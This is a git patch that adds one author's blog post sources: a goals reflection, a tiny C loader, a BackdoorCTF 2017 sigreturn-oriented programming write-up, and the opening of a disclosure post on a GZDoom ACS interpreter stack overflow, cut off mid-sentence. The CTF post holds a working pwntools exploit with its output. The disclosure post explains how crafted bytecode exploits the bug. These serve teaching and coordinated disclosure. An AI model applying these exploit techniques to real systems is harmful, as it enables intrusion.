From 5ad0ee4b3005056561b4f473f7592987ec548e61 Mon Sep 17 00:00:00 2001 From: "Jakob L. Kreuze" Date: Thu, 2 May 2019 19:35:44 -0400 Subject: Include Org sources --- posts/.dir-locals.el | 4 + .../new-ambitions-for-a-new-year.org | 279 +++++ .../analyzing-executable-size-part-0.org | 155 +++ .../backdoorctf-2017-funsignals.org | 107 ++ posts/Bad BEHAVIOR/bad-behavior.org | 188 +++ posts/Bad BEHAVIOR/debug-prints.png | Bin 0 -> 2108 bytes posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png | Bin 0 -> 82603 bytes .../decompilation-by-hand.org | 193 +++ posts/Duke on Fluidsynth/duke-on-fluidsynth.org | 179 +++ ...ressions-of-the-kotlin-programming-language.org | 494 ++++++++ ...mpressions-of-the-rust-programming-language.org | 445 +++++++ .../installing-gentoo-one-month-later.org | 124 ++ .../analog-vs-digital.png | Bin 0 -> 11919 bytes .../making-your-own-music-player.org | 217 ++++ posts/PlaidCTF 2019 Writeups/plaidctf-2019.org | 456 +++++++ .../basic-parsing.png | Bin 0 -> 15718 bytes .../binary-dump.png | Bin 0 -> 61514 bytes .../catching-file-reads.png | Bin 0 -> 407274 bytes ...rse-engineering-babbys-first-archive-format.org | 120 ++ .../xp3-header.png | Bin 0 -> 9290 bytes .../finished-window.png | Bin 0 -> 11966 bytes .../sdl-tutorial-part-0x00.org | 317 +++++ .../window.png | Bin 0 -> 9405 bytes .../slime-the-world-postmortem.org | 320 +++++ .../understand-game-hacking-in-one-post.org | 181 +++ .../challenges-re-writeups-1.org | 1258 ++++++++++++++++++++ 26 files changed, 5037 insertions(+) create mode 100644 posts/.dir-locals.el create mode 100644 posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org create mode 100644 posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org create mode 100644 posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org create mode 100644 posts/Bad BEHAVIOR/bad-behavior.org create mode 100644 posts/Bad BEHAVIOR/debug-prints.png create mode 100644 posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png create mode 100644 posts/Decompilation By Hand/decompilation-by-hand.org create mode 100644 posts/Duke on Fluidsynth/duke-on-fluidsynth.org create mode 100644 posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org create mode 100644 posts/First Impressions of the Rust Programming Language/first-impressions-of-the-rust-programming-language.org create mode 100644 posts/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org create mode 100644 posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/analog-vs-digital.png create mode 100644 posts/Making Your Own Music Player: A Gentle Introduction to Audio Programming/making-your-own-music-player.org create mode 100644 posts/PlaidCTF 2019 Writeups/plaidctf-2019.org create mode 100644 posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png create mode 100644 posts/Reverse Engineering Babby's First Archive Format/binary-dump.png create mode 100644 posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png create mode 100644 posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org create mode 100644 posts/Reverse Engineering Babby's First Archive Format/xp3-header.png create mode 100644 posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png create mode 100644 posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org create mode 100644 posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png create mode 100644 posts/Slime the World: A Postmortem/slime-the-world-postmortem.org create mode 100644 posts/Understand Game Hacking In One Post/understand-game-hacking-in-one-post.org create mode 100644 posts/Writeups for Dennis Yurichev's Reverse Engineering Challenges (#2-#11)/challenges-re-writeups-1.org (limited to 'posts') diff --git a/posts/.dir-locals.el b/posts/.dir-locals.el new file mode 100644 index 0000000..5cc37b2 --- /dev/null +++ b/posts/.dir-locals.el @@ -0,0 +1,4 @@ +((org-mode . ((org-html-doctype . "xhtml5") + (org-html-html5-fancy . t) + (org-export-with-toc . nil) + (ox-haunt-base-dir . "/home/jakob/Blog-New/haunt/")))) diff --git a/posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org b/posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org new file mode 100644 index 0000000..efa5015 --- /dev/null +++ b/posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org @@ -0,0 +1,279 @@ +#+TITLE: A Reflection on "New Ambitions for a New Year" +#+DATE: <2019-03-03 Sun> +#+TAGS: writeup, practices + +On the night of December 31st of last year, I wrote "New Ambitions for a New +Year," a blog post outlining a number of self-imposed goals for 2019. The words +I ended on were: "[t]oo ambitious? Well, I guess we'll find out in 365 days when +I write another post like this." Indeed, what you're reading right now is +something I expected to author much later, but enough has changed in the past +three months that I feel it's appropriate to put out an addendum now. The post's +original text follows. + +--- + +As we draw on the final hours of 2018, the only words I feel appropriate are: +"wait, it's really January tomorrow?" The past twelve months have felt +deceivingly short despite everything that's happened in that span of time. I had +a number of rough job interviews, met Richard Stallman in person, installed +Gentoo, became a legal adult, graduated high school, and finished my first +semester of university, all in what seemed to me like just a few weeks. + +"Productive" is how I'd characterize the year, but I'm having a hard time +rationalizing why it is that I feel that way. Yes, I reached two major +milestones in my education, but I still don't know what to make of everything +else I did. I'd probably feel better about my accomplishments if I had a goal +and a means of assessing whether or not I achieved it, but alas, I didn't set +any out of the same cynicism that drives me to point out resolutioners +contributing to the January gympocalypse. I'd like to mend that cynicism for +2019, though. One year really isn't a bad span of time for setting goals -- it's +long enough that you can be ambitious in your planning, but short enough that +there's pressure to continue making progress throughout the year. + +So, I've come up with some goals for myself, and I've decided to write about +them to impose some level of accountability. + +* Doing + +** Writing + +This year, I managed to put out seven articles. Last year saw four, and the year +before saw one. A linear regression suggests that I'll be putting out ten this +year. + +I kid. As tempting as it is to make "write more frequently" one of my goals, my +focus will be on quality over quantity. In 2019, I plan to: + +- Read through /all/ of my past posts, drafts, and [[http://jakob.space/links/][favorite articles]], taking + notes on how they're written, and synthesizing a writing style that can be + thoroughly described on paper. If you've read my earlier writing, I anticipate + that you've noticed significant variance in the presentation of each piece. + It's time for me to identify the aspects of style that work, and find a way to + consistently incorporate those aspects into my future writing. +- In a similar fashion, develop a consistent method for doing research and + managing sources throughout the writing process. I believe my technical + writing will benefit if I make a habit of perusing the existing corpus of + research prior to putting words down on paper. +- Expand my writing endeavors to Wikipedia. I've collected a number of sources + for expanding Wikipedia stubs, and my goal is to turn every entry on that list + into a series of edits. Ideally, I'll go beyond that, but given the preceding + goals, I think that it makes sense to start small. Writing for Wikipedia will + expose me to critique from more experienced writers, and give me experience + writing in an encyclopedic style. + +No hard article count goals this year, because again, quality over quantity. If +I'm forcing myself to write to fill a quota, my heart won't be in it. + +** Contributing to Free Software + +I'd like to migrate all of the projects I maintain to [[https://git.sr.ht/~jakob/][sr.ht]], but I'll be keeping +my GitHub account for sending pull requests to projects that live on there. + +Originally, I had a list of projects that I wanted to contribute to in the new +year, but I haven't read a single line of code from any of the entries on that +list and there's a good chance that I'll have second thoughts about contributing +following the first perusals, so I've decided that a more reasonable goal is to +become a regular contributor to at least one project. By "regular contributor," +I mean gaining enough of a presence that people are coming to me to ask +questions about the code. + +* Learning + +** Computer Science + +I have tried, and failed, numerous times to get through Hal Abelson and Gerald +Sussman's /Structure and Interpretation of Computer Programs/. Now that I'm more +mature in terms of rigor, I've decided to finally buckle down to make my way +through the text and all of its exercises. It's a fat 657 page book, but I'm +more than capable, and I have an entire year to do it. + +My more lighthearted goal is to put out at least one demo on either the Super +Nintendo or the Nintendo DS. I've always wanted to program for a platform where +I'm constrained by the limitations of the hardware. + +** Computer Security + +Capture-the-flag used to be a more significant hobby of mine; I mostly dropped +off the scene when I graduated high school, but I'd like to get back into it. In +a similar vein to my SICP goal, I'm aiming to finally get through a book that +I've failed to finish in the past, [[https://beginners.re/][Reverse Engineering for Beginners]], and +complete _at least_ 50 of its exercises. 50 is a about one per week, which I +think is reasonable. + +** Electronics + +I've tried several times in the past to learn "electronics", and never +progressed beyond the laws of Ohm and Joule. I think the issue was that I didn't +know what I wanted to learn; I set out to study "electronics," which wasn't +specific enough. This time, I'll be more diligent in finding curriculum that's +relevant to me. I want to learn to read boards and gain the knowledge necessary +to repair my Commodore 64, so my focus will be on the design of electronic +circuits. I'll achieve this is by going through the coursework for MIT's 6.002: +"Circuits and Electronics". It's a course I wanted to go through when I was a +sophomore in high school, but at the time, I was discouraged by the list of +prerequisites in the syllabus. + +Another goal of mine is to join an amateur radio club. I've already got two in +mind: [[http://sdfarc.org/][SDFARC]] and the one that runs the local 2-meter repeater I frequent. My +thought is that joining one will give me an opportunity to find an Elmer whose +brain I can pick about RF electronics. + +** Mandarin Chinese + +One of my favorite courses in high school was Mandarin Chinese. I took it for +four years, and while I wanted to continue studying it at university, I sadly +couldn't fit any classes into my schedule. The four years of study left me with +a grasp of the language's fundamentals, however, and I think that I could +reasonably continue to learn the language on my own accords. Throughout the +year, I plan to: + +- Learn the vocabulary on [[https://en.wiktionary.org/wiki/Appendix:Mandarin_Frequency_lists/1-1000][Wiktionary's list]] of the 1000 most frequently used + words in Mandarin. I already know a number of words on the list from my four + years of study, and learning the rest should give me a good base for reading + from newspaper articles and books. I plan to learn the words' definitions and + pronunciations through spaced repetition, and I'll handwrite the character + every time I review the card for it. Although the ability to handwrite + characters isn't a specific goal of mine, I've found that it helps me in + learning to recognize the characters. +- Read /C程序设计语言/. I have a translated copy of Kernighan and Ritchie from + when I went to 王府井, so that should be reading that's both engaging and full + of the kind of vocabulary that I'm interested in learning. +- Make friends with at least one of the international student in my dorm. I'd + feel bad conscripting someone solely for the purpose of helping me learn + Mandarin, but I figure that if I befriend someone whose native tongue is + Mandarin and spit a bunch of broken Chinese at them, they'll be inclined to + correct me (through laughter, perhaps). + +To recap, my goals this year are: + +- Move my software projects to [[https://sr.ht/][sr.ht]]. +- Join an amateur radio club. +- Make friends with at least one of the international students in my dorm. +- Synthesize a consistent writing style and document it. +- Synthesize a method for performing research and document it. +- Turn my list of articles into a series of edits to Wikipedia stubs. +- Learn the 1000 most frequently used words in Mandarin Chinese. +- Read /C程序设计语言/. +- Read /SICP/ and complete all of its exercises. +- Read /RE4B/ and compete at least 50 of its exercises. +- Complete the coursework for 6.002. +- Put out at least one demo on either the Super Nintendo or the Nintendo DS. +- Become a regular contributor to at least one free software project. + +Too ambitious? Well, I guess we'll find out in 365 days when I write another +post like this. + +--- + +As alluded to in the introduction, I've come to understand that achieving every +goal on that list within the span of a year is impossible. Well, at least for a +full-time university student. Balancing a course load of 19 credits with +undergraduate research and a social life leaves me with little more than a few +hours on the weekends to dedicate to those tasks. As such, I'm reevaluating and +redefining my goals for 2019. + +What's more, some of the things on that list no longer even interest me. Why +invest significant time into something I know I won't find fulfilling? Take the +plan for continuing my study of Mandarin Chinese as an example: bilingualism +seems like it might be useful, but I have no realistic use for the skill, and I +was really dreading the daily practice I was putting in for the first few weeks +of the year. + +The other issue that's come up is a loss of motivation for some of the tasks +that, unlike continuing my study of Mandarin, I /would/ find fulfilling. To remedy +this, I've decided to associate small integrative projects with each of the +goals I intend on keeping. This move is inspired by the points made in Norvig's +[[http://norvig.com/21-days.html][Teach Yourself Programming in Ten Years]], which I had read several years ago but +was reminded of after a recent perusal of the introduction to [[http://www.cs.cornell.edu/courses/cs3110/2019sp/textbook/][Functional +Programming in OCaml]]. I'd specifically like to quote a few things he lists in +his "recipe for programming success": + +- Get *interested* in programming, and do some because it is fun. Make sure that + it keeps being enough fun so that you will be willing to put in your ten + years/10,000 hours. +- *Program*. The best kind of learning is learning by doing. To put it more + technically, "the maximal level of performance for individuals in a given + domain is not attained automatically as a function of extended experience, but + the level of performance can be increased even by highly experienced + individuals as a result of deliberate efforts to improve." (p. 366) and "the + most effective learning requires a well-defined task with an appropriate + difficulty level for the particular individual, informative feedback, and + opportunities for repetition and corrections of errors." (p. 20-21) The book + Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life is an + interesting reference for this viewpoint. +- *Talk with* other programmers; read other programs. This is more important than + any book or training course. +- Work on *projects with* other programmers. Be the best programmer on some + projects; be the worst on some others. When you're the best, you get to test + your abilities to lead a project, and to inspire others with your vision. When + you're the worst, you learn what the masters do, and you learn what they don't + like to do (because they make you do it for them). +- Work on *projects after* other programmers. Understand a program written by + someone else. See what it takes to understand and fix it when the original + programmers are not around. Think about how to design your programs to make it + easier for those who will maintain them after you. + +Working towards a project is largely conducive of these. It will ensure that I'm +having fun, that I'm learning by doing, and that I'm speaking with those who +have expertise. So, here's my updated list of goals for 2019, paired with the +projects I've come up with: + +- Complete the coursework for MIT's 6.002. + - Troubleshoot my Commodore 64 and restore it to a working state. +- Read chapters 1-4 of Structure and Interpretation of Computer Programs and + complete all of their exercises. + - Implement a ray-tracer in Scheme. +- Compete 50 of the exercises in Reverse Engineering for Beginners. + - Write another game hacking post. +- Synthesize a consistent writing style and document it. + - Write another game hacking post. +- Synthesize a method for performing research and document it. + - Adopt the "Heap feng shui" and "JIT spraying" pages on Wikipedia. + +Although this is still an ambitious list, I think I can reasonably achieve all +of these by 2020. I think the more important point, however, is that I've +effectively reduced my original ragtag list of last-minute New Year's Eve +thoughts into a clear plan for personal growth. Completing the coursework for +6.002 will enable me to design and reverse engineer circuits. Completing +Structure and Interpretation of Computer Programs will teach me to approach +problems with a functional programming mindset. Working through the exercises +from Reverse Engineering for Beginners will give me a repertoire of patterns for +going forward in capture-the-flag and any projects I take on in the future that +may involve reverse engineering. Developing a consistent writing style will +strengthen my ability to communicate knowledge, and developing a consistent +method for performing research will encourage me to exercise that skill of +communicating knowledge. + +During my initial reflection, I thought that troubleshooting the C64 would make +for a poor choice of project, as there's the possibility that I'd start +troubleshooting and soon realize that it's borked beyond repair. One thought was +to instead follow the instructions outlined in Steve Ciarcia's Build Your Own +Z80 Computer, but after looking through the book, I realized that it would be +both expensive and probably very difficult to complete due to the age of the +components used.[fn:1] I also thought to follow Ben Eater's instructions for +[[https://eater.net/8bit/kits][building an 8-bit computer from scratch]], but that also has the issue of price. +Ultimately, I decided to go with my original plan to fix the C64. Even if I +can't repair the C64, I have a broken VIC-20 I can fall back on, and I think I'd +learn more in the domain of reverse engineering circuits than I would following +the instructions that come with some homebrew computer kit. + +My definition of success for the goal of reading Structure and Interpretation of +Computer Programs changed slightly to omit the fifth chapter. I still plan to +read it, just not this year. My reasoning comes mainly from skimming ahead to +get an idea for an integrative project and seeing exercise 5.51. It'd just be... +well, a lot. Why a ray-tracer? It's short, sweet, utilitarian, and would +probably be both pleasant and eye-opening to implement in a functional style. + +I'll still be working through the exercises in Reverse Engineering for +Beginners, but I will not be reading the book in it's entirety. After going +through the first few chapters, I've developed the opinion that the book makes +for incredible reference material, but that a page-by-page reading wouldn't be +valuable for someone with prior experience in reverse engineering. I'll still be +skimming a subset of the book[fn:2], but I don't want promise to myself that +I'll finish those chapters by the end of this year. + +One last thing to note -- I've omitted the goal about moving all my software +projects to sr.ht, as I've succeeded in doing that. + +[fn:1] How the hell am I going to get my hands on a CRT terminal in 2019? +[fn:2] Chapters 30-63, 68, 76, and 88. diff --git a/posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org b/posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org new file mode 100644 index 0000000..cf4acda --- /dev/null +++ b/posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org @@ -0,0 +1,155 @@ +#+TITLE: Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader +#+DATE: <2017-07-31 Mon> +#+TAGS: writeup, programming, operating-systems, c, linux + +It seems that static linking is back in style, or at least popular among all the +hip new programming languages of today. I don't have anything against statically +linked binaries, nor do I have a problem with larger executables, but I've +noticed that the acceptable size for an executable is a lot larger now than it +was a few years ago; that is, the new kids on the block have significantly more +leeway than their predecessors. For example - a C program that spits out "hello +world" is 7 KB when statically linked to musl. It's 12 KB when dynamically +linked to glibc. The same program in D, where the reference compiler doesn't +allow dynamic linking to the standard library, is 896 KB. A blog post I read +recently about certificate chain verification in Go made a point of praising the +toolchain for being able to spit out a binary that was "less than 6 MB!" I'm +being more facetious than with my D example, as this was statically linked to an +SSL-capable web server, but 6 MB is a little over half the size of a +[[https://en.wikipedia.org/wiki/Tiny_Core_Linux][fully-functioning operating system]]. I'm not so interested in why we settle +binaries the size of a few videos, but instead I'd like to look at why they're +that large to begin with. To peer in and see what wealth of information is +stored inside, and how certain programming languages make use of that +information. + +Perhaps we should first take a step back. What is a binary, anyway? It's a +structured format, not much different than your typical PNG or Ogg file, +containing some machine code instructions and directives for how the program +should be loaded into memory. The task of parsing the binary and actually +loading it is done by a *loader*, though that's a pretty broad term. My favorite +book on this subject, /Linkers and Loaders/ by John R. Levine, defines a loader +as a program to "copy a program from secondary storage (which since about 1968 +invariably means a disk) into main memory so it's ready to be run. In some cases +loading just involves copying the data from disk to memory, in others it +involves allocating storage, setting protection bits, or arranging for virtual +memory to map virtual addresses to disk pages." + +Loaders are everywhere, as you can probably imagine. Maybe you've heard of a +boot loader; those are for getting a kernel into memory from the strange and +unfamiliar land of x86 real mode. Whenever you run a program on Linux, it's +loaded by the kernel's ELF loader, of which you can find the source code for at +[[https://github.com/torvalds/linux/blob/master/fs/binfmt_elf.c][=fs/binfmt_elf.c=]] of the kernel source tree. On a higher level, something like +Java has a class loader for getting bytecode into memory so that the JVM can run +it. + +As our first step into the world of loaders, we'll write our own. A very basic +one, at that. I think that because we're taking a look at how much information +can be stored inside of a binary, we should begin with the absolute minimum. It +won't use a structured format, and won't set up memory beyond the stack and a +page for executable code, but not at a specified address of any sort. Where that +code exists in memory isn't known to the program, and it only really knows where +the stack is from the =%rsp= register. We'll simply load some machine code from +a file, and execute it. I'll spare you the per-line explanation I usually give, +since it's reasonably simple and the only part you might not understand already +is explained through comments. + +#+BEGIN_SRC c +#include +#include + +#include + + +size_t binary_size(FILE *); + + +int main(int argc, char **argv) { + FILE *fp; + void *exe; + size_t exe_size; + void (*jump)(void); + + if (argc != 2 || (fp = fopen(argv[1], "rb")) == NULL) { + fprintf(stderr, "USAGE: %s [FILE]\n", argv[0]); + return 1; + } + + if ((exe_size = binary_size(fp)) == 0) { + return 1; + } + + /* Because writable memory pages are marked as non-executable by + default, we need to map a new page of memory for our executable + code. We do this by invoking the "mmap" syscall, and getting a + new page from the kernel. */ + exe = mmap(NULL, exe_size, PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + if (exe == MAP_FAILED) { + fprintf(stderr, "mmap failure.\n"); + return 1; + } + + fread(exe, exe_size, 1, fp); + jump = exe; + jump(); + + munmap(exe, exe_size); + fclose(fp); + return 0; +} + + +/* We'll use some POSIX standard functions because we can and they're + generally safer than fseek and ftell. */ +size_t binary_size(FILE *fp) { + struct stat buf; + + if ((fstat(fileno(fp), &buf) != 0) || (!S_ISREG(buf.st_mode))) { + return 0; + } + + return buf.st_size; +} +#+END_SRC + +Looks good! We can't use any of the binaries on our system to test it out, +though. They're in some structured format like ELF and the header would be +interpreted as code -- probably causing a segmentation fault. Even if it got +past the header without a core dump, the binary probably relies on some absolute +addressing that we didn't set up properly. So instead of running =/bin/ls= +through our program, we'll assemble "hello world." + +#+BEGIN_SRC asm + leaq (%rip), %rax + addq $_msg_end - ., %rax + jmpq *%rax +_msg: + .ascii "Hello, world!\n" +_msg_end: + movq $0x01, %rax + movq $0x01, %rdi + leaq (%rip), %rsi + subq $. - _msg, %rsi + movq $0x0e, %rdx + syscall + ret +#+END_SRC + +What you'll probably notice immediately is that we're forced to write a +position-independent executable. As I mentioned earlier, our loader can't handle +absolute addresses. It can't really handle anything, aside from the most simple +of x86 instructions. We do a =ret= at the very end to return control to the +loader. Nothing left to do now but test it out: + +#+BEGIN_SRC +[jakob@Epsilon ~]$ ./a.out test.bin +Hello, world! +#+END_SRC + +=test.bin= is 64 bytes and takes 0.001s to load and run. I probably could have +made the program smaller, but I think it's a perfectly fine benchmark as we +continue through this series. Keep in mind that 64 bytes is only achievable +because we forget the conveniences of modern loaders. We can only run +position-independent code, there's no separation between data and code segments, +no room for debugging symbols, no write protection on the code segment, nothing. +This is perhaps the most stripped down loader you can get. diff --git a/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org b/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org new file mode 100644 index 0000000..2111955 --- /dev/null +++ b/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org @@ -0,0 +1,107 @@ +#+TITLE: BackdoorCTF 2017: FUNSIGNALS +#+DATE: <2017-09-24 Thu> +#+TAGS: writeup, security, capture-the-flag, binary-exploitation, x86, linux + +"funsignals" was a 250 point binary exploitation challenge with 58 solves. The +challenge itself was a very trivial example of sigreturn-oriented programming. + +Sigreturn-oriented programming is a means of getting values into certain +registers without having to use ROP gadgets that pop values from the stack. It's +a technique that relies on how UNIX-like operating systems implement signals - +to quote an [[https://lwn.net/Articles/676803/][article from LWN on the subject]], "when a signal is delivered to a +process, execution jumps to the designated signal handler; when the handler is +done, control returns to the location where execution was interrupted. Signals +are a form of software interrupt, and all of the usual interrupt-like accounting +must be dealt with. In particular, before the kernel can deliver a signal, it +must make a note of the current execution context, including the values stored +in all of the processor registers." + +That "execution context" is quite simply a structure stored on the stack, which +is colloquially known as the "sigcontext" structure and is defined in the +architecture-specific headers of the Linux kernel. x86, for example is found at +[[http://elixir.free-electrons.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h][=arch/x86/include/uapi/asm/sigcontext.h=]]. + +We're given a small amd64 Linux binary for the challenge. Its code is only a few +bytes long: + +#+BEGIN_SRC asm :hl_lines 0 +;-- _start: +0x10000000 31c0 xorl %eax, %eax +0x10000002 31ff xorl %edi, %edi +0x10000004 31d2 xorl %edx, %edx +0x10000006 b604 movb $4, %dh +0x10000008 4889e6 movq %rsp, %rsi +0x1000000b 0f05 syscall +0x1000000d 31ff xorl %edi, %edi +0x1000000f 6a0f pushq $0xf +0x10000011 58 popq %rax +0x10000012 0f05 syscall +0x10000014 cc int3 +;-- syscall: +0x10000015 0f05 syscall +0x10000017 4831ff xorq %rdi, %rdi +0x1000001a 48c7c03c0000. movq $0x3c, %rax +0x10000021 0f05 syscall +#+END_SRC + +Don't be intimidated by the use of the seemingly uncommon =syscall= instruction, +the portion before the 'syscall' symbol is equivalent to the following C code. + +#+BEGIN_SRC c :hl_lines 0 +char buf[0x400]; +read(0, buf, 0x400); +sigreturn(); +#+END_SRC + +=sigreturn(2)= is a system call you never use in practice, but as we mentioned +earlier, the process needs to restore the context when it returns from a signal +handler. This is how it's done. =sigreturn(2)= essentially pops the =sigcontext= +structure from the stack and fills the proper registers. Also, that =int3= +instruction should be a hint to us that we'll have to manipulate the instruction +pointer, too, since the program would abort if we hit that. + +A few bytes following the binary's code is a string that sticks out like a sore +thumb: ~fake_flag_here_as_original_is_at_server~. To get the flag, we're going to +want to print out whatever's at that address, which we can do with the =sys_write= +system call. We're going to want to load =0x01=, the syscall number for =sys_write=, +into =%rax=, =0x01= into =%rdi= for =stdout=, =0x10000023= into =%rsi= for the address of +the flag we want to print, and =0x29= into =%rdx= for the approximate length of the +flag. Once the registers are all set up, we're going to want to invoke the +kernel, so we'll set =%rip= to =0x10000015= - where there's a =syscall= instruction +followed by a clean exit. To load all of those registers, we will fill out a +sigcontext frame containing the values. + +Now, I would highly advise against manually packing the =sigcontext= structure, +as there are a few undocumented fields that can and will cause segmentation +faults coming from seemingly nowhere. [[https://docs.pwntools.com/en/stable/][pwntools]] provides the =pwnlib.rop.srop= +package for creating sigcontext frames, and the API is simple enough to +understand just from the exploit code. + +#+BEGIN_SRC python :hl_lines 0 +#!/usr/bin/env python + +from pwn import * + + +SIGCONTEXT = SigreturnFrame(arch="amd64") +SIGCONTEXT.rax = 0x01 +SIGCONTEXT.rdi = 0x01 +SIGCONTEXT.rsi = 0x10000023 +SIGCONTEXT.rdx = 0x29 +SIGCONTEXT.rip = 0x10000015 + +proc = remote("163.172.176.29", 9034) +proc.sendline(bytes(SIGCONTEXT)) +print(proc.recv()) +#+END_SRC + +#+BEGIN_SRC +[jakob@Epsilon funsignals]$ ./exploit.py +[+] Opening connection to 163.172.176.29 on port 9034: Done +b'flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}' +[*] Closed connection to 163.172.176.29 port 9034 +#+END_SRC + +As an aside, you typically won't have an explicit call to =sigreturn(2)= in the +binary. Sigreturn-oriented programming is most commonly combined with ROP, where +a gadget to load =0xf= into =%rax= and a gadget to perform a syscall are used. diff --git a/posts/Bad BEHAVIOR/bad-behavior.org b/posts/Bad BEHAVIOR/bad-behavior.org new file mode 100644 index 0000000..e559692 --- /dev/null +++ b/posts/Bad BEHAVIOR/bad-behavior.org @@ -0,0 +1,188 @@ +#+TITLE: Bad BEHAVIOR +#+DATE: <2018-01-04 Thu> +#+TAGS: writeup, security, binary-exploitation, video-games, x86, doom + +TL;DR, I discovered a stack-smashing vulnerability in GZDoom's interpreter for +ACS. As a preface, there's a tendency for whitepapers like this in the security +community to be written with a somewhat condescending tone towards the product's +vendor. I do not mean for any portion of this writeup to come off as degrading +to the developers involved. Yes, the bug was obvious to /me/, but it was still +subtle enough that it went under the radar for nearly 23 years. Most developers +aren't actively thinking about this kind of attack while writing a bytecode +interpreter. I have an enormous amount of respect for the development teams of +both GZDoom and Zandronum, who were quick to issue a patch addressing the issue +and were respectful of my wishes to release this whitepaper to the public. I'd +also like to thank everyone I had the pleasure of working with during this +process; it warms my heart to know that the communities behind these open-source +software projects are this friendly. + +Documentation and exploit code are available [[https://git.sr.ht/~jakob/bad-behavior][here]], which is where I would like +to direct any source port maintainers. There is a good chance that your port is +vulnerable, and the patch to fix it is not overly-complicated. + +--- + +It's been a little over a year and a half since my first capture-the-flag +competition. In that time, I've exploited countless binaries, all simulated. +Popping a shell had no impact, no consequences within the real world. Recently, +though, I've experienced somewhat of a wake up call. The day has finally come +that I've discovered a security-critical bug in the wild to call my own. + +The research was impromptu, motivated by a few things I noticed while working +away on a map for Doom. If you want to script events in Doom, such as a boss +spawning and text appearing on the screen when the player flips a switch, you +use a somewhat obscure DSL called [[https://zdoom.org/wiki/ACS][ACS]]. The language was designed in the 90's for +Hexen, a game intended to run on MS-DOS, so the implementation is full of design +decisions that seem archaic nowadays. For one, scripts are compiled ahead of +time into a bytecode object, which is then stored in a map's BEHAVIOR [[https://zdoom.org/wiki/Lumps][lump]], and +finally run on a stack machine that has access to the game's state. + +ACS bytecode isn't completely unfamiliar to me; I wrote a disassembler for it a +while ago in an attempt to learn more about radare2's internals. Despite this, +the idea that the interpreter for it might allow some foul play to go by didn't +cross my mind until I was actually working with ACS on the source code level. +The language is, to say the least, hacked together. The type system is extremely +weak, and on a low level, the only type it understands is int. There's support +for strings, but they're an index into a table in the bytecode object, which can +lead to some interesting behavior. Take this valid ACS code, for example: + +#+BEGIN_SRC +script 1 ENTER { + print(s:"You picked the wrong house, foo'!"); + + // Also displays "You picked the wrong house, foo'!" + print(s:0); +} +#+END_SRC + +String constants are casted to the index at which they are located in the string +table, which means you can do math with strings - albeit a little less intuitive +than string math in Javascript. + +#+BEGIN_SRC +script 1 ENTER { + // Displays "1" (Since that's 0 + 1) + print(d:"First String" + "Second String"); +} +#+END_SRC + +There are a handful of other quirks, such as the fact that arguments can be +omitted when you invoke a function. The fragile nature of ACS made me want to +look at GZDoom's implementation to see if it would reject any code that does +things it shouldn't. What I initially had in mind was pulling something out of +the string table that doesn't exist, but when I cracked open the source code to +look at =PCD_PRINTSTRING=, I noticed something a little more sinister. + +#+BEGIN_SRC cpp :hl_lines 0 +case PCD_PRINTNUMBER: + work.AppendFormat ("%d", STACK(1)); + --sp; + break; +#+END_SRC + +Hm? It looks like the stack pointer is decremented without any bounds checking. +This is C++, though, and it's entirely possible that this is operator +overloading, so I looked at how the interpreter's stack was implemented. + +#+BEGIN_SRC cpp :hl_lines 0 +FACSStack stackobj; +int32_t *Stack = stackobj.buffer; +int &sp = stackobj.sp; +#+END_SRC + +No, it isn't operator overloading. This is bad. As an adversary who can +manipulate the bytecode in a BEHAVIOR lump, we have complete control over an +index into a buffer. Let's take a peek at =FACSStack=. + +#+BEGIN_SRC cpp :hl_lines 0 +struct FACSStack +{ + int32_t buffer[STACK_SIZE]; // STACK_SIZE is 0x1000 + int sp; + FACSStack *next; + FACSStack *prev; + static FACSStack *head; + + FACSStack(); + ~FACSStack(); +}; +#+END_SRC + +Take note that the stack pointer is adjacent to the buffer. That will be +important in the exploit. + +Let's start with a few experiments. The first thing I did was add some debug +prints to certain points in the ACS interpreter so that I could see where the +stack pointer is within the program's memory map. Now we can get our hands dirty +with ACS bytecode. At the time I was performing this research, I didn't know how +everything in the BEHAVIOR lump contributed to the final image, so I spent about +a half hour figuring out how to create a valid bytecode object by looking at +different BEHAVIOR lumps in a hex editor. What I /should/ have done was slowed +down and looked at =FBehavior::Init= in =p_acs.cpp=, but whatever, my way worked +with some trial and error. If you want to play with hand-writing ACS bytecode on +your own, you can use my exploit code as a base. Just alter the "payload" array +to contain the bytes you want to have run. + +Now, this is where the post is going to get a little confusing, since I have to +talk about two entirely different stacks. For the remainder of this whitepaper, I'll +refer to the ACS interpreter's stack as "VStack," and the GZDoom process's stack +as "SStack." + +Initially, I showed off the implementation of =PCD_PRINTNUMBER=, but something +that decrements the VStack pointer isn't desirable. Let me explain - the SStack +grows downwards on x86; that is, the 